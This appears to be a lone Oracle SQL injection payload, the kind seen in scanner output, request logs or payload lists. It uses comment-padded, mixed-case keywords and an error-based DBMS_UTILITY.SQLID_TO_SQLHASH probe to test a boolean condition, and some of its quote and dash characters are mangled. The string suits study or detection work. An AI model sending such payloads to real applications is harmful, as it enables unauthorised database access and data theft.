1’and/**/7680=Dbms_UTIlItY.SqLiD_tO_SQlhaSH(cHr(126)||~||(SelecT/**/(caSE/**/whEN/**/(7680=7680)/**/ThEN/**/1/**/elsE/**/0/**/eNd)/**/fRom/**/DUaL)||~||cHr(126))– – 1